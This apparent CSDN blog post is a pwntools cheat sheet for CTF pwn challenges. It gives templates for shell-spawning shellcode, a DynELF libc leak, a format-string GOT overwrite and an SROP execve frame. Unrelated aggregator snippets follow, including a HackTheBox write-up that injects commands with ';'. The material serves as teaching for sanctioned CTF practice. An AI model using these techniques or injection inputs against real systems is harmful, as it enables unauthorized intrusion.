代码编织梦想

引入pwntools库

# 虽然不太符合pylint代码规范
# 但官方也推荐这样引用
from pwn import *

基本的输入输出和交互

绑定要处理的程序

# 远程
# remote(ip/hostname, port)
p = remote("127.0.0.1", 8888)

# 本地
# 注意process中参数一定要有./
p = process("./pwn")

设置上下文环境

# 设置上下文环境主要用于一些需要上下文的漏洞利用
# 比如:shellcode的生成

# 设置操作系统
context.os = "linux"
# 设置32位的体系架构 
context.arch = "i386"
# 设置64位的体系架构
context.arch = "amd64"
# 打印交互中的输入和输出
context.log_level = "debug"
# 也可以直接这样写
context(os="linux", arch="amd64", lod_level="debug")

# 清空之前的上下文
context.clear()
# 清空之前的上下文并设置为64位的体系架构
context.clear(arch="amd64")

获取程序输出

p.recv()        # 默认接受最大为4096字节的输出
p.recvline()    # 接受程序的一行输出
p.recvall()     # 接受程序的当前全部输出,直到遇到EOF
# 直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n
buf = p.recvuntil("\n", drop=True)   

payload的构造

pad = cyclic(0x10)
# 可以用上面的代码替代传统的构造方式 pad = b"A" * 0x10
# 其结果为 b'aaaabaaacaaadaaa'
offset = cyclic_find(b"daaa")  # 找到当前pad的偏移值

实现输入

payload = b'hello!'      # python3,payload为字节类型
p.sendline(payload)      # 输入hello! + \n
p.send(payload)          # 输入hello!
p.sendafter("test", payload)      # 在接受到test后才发送payload
p.sendlineafter("test", payload)  # 在接受到test后才发送payload + \n

实现交互

# 开启和程序交互的终端
# 一般用于获取到shell的情况
p.interactive()

获取程序或者libc中的信息

from pwn import *

pro = ELF("./program")  # 加载样本
libc = ELF("./libc")    # 加载libc

read_addr = pro.symbols["read"]  # 获取read函数地址
read_plt = pro.plt["read"]       # 获取read的plt表地址,内容等于symbols["read"]
read_got = pro.got["read"]       # 获取read的got表地址
# search的参数为字节类型
# 获取字符串的位置
str_addr = next(pro.search(b"str"))

read_offset = libc.symbols["read"]  # 获取libc中read的固定偏移值
bin_sh = next(libc.search(b"/bin/sh\x00")) # 获取/bin/sh的位置

shellcode的生成

# 32位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="i386", log_level="debug")
code = shellcraft.sh()  # 汇编代码
code = asm(code)        # opcode,payload中都使用这个
# 64位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="amd64", log_level="debug")
code = shellcraft.sh()  # 同上
code = asm(code)        # 同上
from pwn import *

# 上面是执行execve("/bin/sh\x00")的shellcode
# 下面展示直接读取flag文件然后打印的shellcode
context(os="linux", arch="amd64")
mmap = 0x12345678  # 可读可写内存区域

code = shellcraft.open("./flag")
code += shellcraft.read(3, mmap, 0x50)
code += shellcraft.write(1, mmap, 0x50)
code = asm(code)

# 更简洁的写法
code = asm(shellcraft.cat("flag"))

DynELF泄露libc

# 下面展示的是DynELF的使用模板
from pwn import *

p = process("./pwn")
pro = ELF("./pwn")

def leak(addr):
	# 这里的代码比较抽象
	# 其实目的就是利用能够回显字符的函数泄露addr,返回地址为start
	# data接受的数据只能是回显的addr地址上的内容,将空字符处理为\x00
	payload = padding + addr + start
	p.send(payload)
	data = p.recv()
	return data

# 构造DynELF实例,第一个参数为leak函数,第二个为题目的ELF对象
d = DynELF(leak, elf=pro)
system = d.lookup("system", "libc")  # 泄露出system的地址
print("system ====> ", system, hex(system))

# 实战链接
# https://blog.csdn.net/A951860555/article/details/111638914
# 详细的用法讲解,包括write/puts/printf三个函数的用法和细节处理
# https://www.anquanke.com/post/id/85129

FmtStr格式化字符串

from pwn import *

# 交互函数
def exec_fmt(pad):
	p = process("./pwn")
	p.sendline(pad)
	info = p.recv()
	return info

# 这里可以和上面的DynELF类比
fmt = FmtStr(exec_fmt)
offset = fmt.offset  # 获取偏移

p = process("./pwn")
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
# 格式化payload构造函数
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)

# 详细的介绍链接 + 例子
# https://blog.csdn.net/A951860555/article/details/115061803

SROP工具SigreturnFrame

from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002  # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr  # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame)  # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx  注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

pwntools简化模板

  在做题的时候,我们的目的是快速的解出题目,使用下面简化后的函数名称和预制的代码,这样可以帮助每次做题时快速完成解题脚本。

from pwn import *


ld_path = ""
libc_path = ""
# p = process([ld_path, ""], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
# p = remote("")

# context.log_level = "debug"

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/A951860555/article/details/110990925

Python入门第三天-分支和循环-爱代码爱编程

day3 分支和循环 一、if - elif - else 1、应用场景 针对不同的条件实现不同的操作 2、注意 不同条件之间满足:如果其中一个条件已经满足了,就没有必要判断其他条件的必要 3、语法 if 条件语句1: 代码段1 elif 条件语句2: 代码段2 elif 条件语句3: 代码段3 … else: 代码段N 4、强调 后面

matplotlib-pie-绘制饼状图-爱代码爱编程

import matplotlib.pyplot as plt plt.figure(figsize=(6,9)) #调节图形大小 labels = ['A','B','C','D'] #定义标签 sizes = [146,223,121

day3-作业-爱代码爱编程

# 作业1:猜数字游戏 """ 随机产生一个数字:45 请输入数字:30 提示大了或者小了 继续输入 """ from random import randint num = randint(0,100) value = int(input('请输入一个数字:')) while value > num: print('猜大了,继续')

03分支和循环-爱代码爱编程

分支和循环 if多分支结构# 1.if-elif-else """ 应用场景:针对不同的条件实现不同的操作(不同的条件之间满足:如果其中一个条件已经满足,就没有再判断其他条件的必要) 语法: if 条件语句1: 代码段1 elif 条件语句2: 代码段2 ... else: 代码段N 注意:后面的条件是在前面的条件不成立的前提下

2020最新JavaWeb_IDEA完整版-爱代码爱编程

目录: ┣━━视频 ┃    ┣━━01-html&CSS ┃    ┃    ┣━━01HTML和CSS-引课 .avi ┃    ┃    ┣━━02HTML和CSS-BS软件的结构 .avi ┃    ┃    ┣━━03HTML和CSS-前端的开发流程 .avi ┃    ┃    ┣━━04HTML和CSS-网页的组成部分 .avi ┃ 

利用python画梯形图案例-爱代码爱编程

利用python画梯形图案例 import matplotlib.pyplot as plt import numpy as np def mystep(x,y, ax=None, where='pre', **kwargs): assert where in ['post', 'pre'] x = np.array(x) y

hackthebox-changllenge-web-looking glass-爱代码爱编程

能输入ip地址,试试看命令执行 尝试 &&  ; 拼接ls命令 ;成功 cat 一下看看 <?php function getUserIp() {     return $_SERVER['REMOTE_ADDR']; } function runTest($tes

简析DDoS的攻击模式,带你做好DDoS防护-爱代码爱编程

如今,DDoS防护需求越来越急切,因为网络攻击比以往任何时候都更加真实。对于各种规模和流量级别的网站和在线服务而言,都是如此。网站最近看到的最常见的威胁之一就是DDoS攻击,这就是为什么对于每个网站所有者来说,了解这些攻击的含义,作用方式以及如何预防都变得越来越重要。 做好DDoS防护之前首先来了解什么是DDoS攻击?具体来说,DDoS攻击是指“分布式拒绝

在日益嚣张的DDoS攻击下,怎样来选择DDoS防护方案?-爱代码爱编程

DDoS防护解决方案可在遭受DDoS攻击时帮助企业服务器和Web服务保持正常运行。进行DDoS攻击旨在拒绝企业访问网络资源或关闭对组织网站或应用程序的访问。这些攻击并非旨在窃取信息或破坏安全措施,仅仅是为了在攻击持续时间内关闭或降低其目标网站或应用程序的性能。而大多数企业没有带宽来抵抗手动或本地解决方案的DDoS攻击。而典型的安全措施不足以防止DDoS攻击

2020年12月10日- Vulnhub-TR0LL: 1 渗透学习-爱代码爱编程

2020年12月10日- Vulnhub-TR0LL: 1 渗透学习 一、介绍 二、情报收集 首先发现靶机的IP地址: nmap -sP 192.168.31.0/24 发现靶机IP 发现开发着 21、 22、 80端口 其中ftp允许匿名登陆,存在secret目录和robots文件 登录ftp: 可以发现登录成功 发

DoS、DDoS工具Cobalt Strike-爱代码爱编程

Cobalt Strike 简介 Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS。最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等

网络宽带、流量管理监控工具-虹科nEdge-爱代码爱编程

文章目录 简介什么是虹科nEdge如何保护你的网络?确保Internet可用性第7层应用程序流量阻止/限制不安全流量阻止微服务划分他是如何工作的?网桥接模式路由器模式联系我们 简介 虹科nEdge是一个多功能的网络流量监控,管理工具,除了通过防止行为不当的主机损害带宽,确保Internet始终可用于关键业务应用程序,虹科nEdge还可以保护网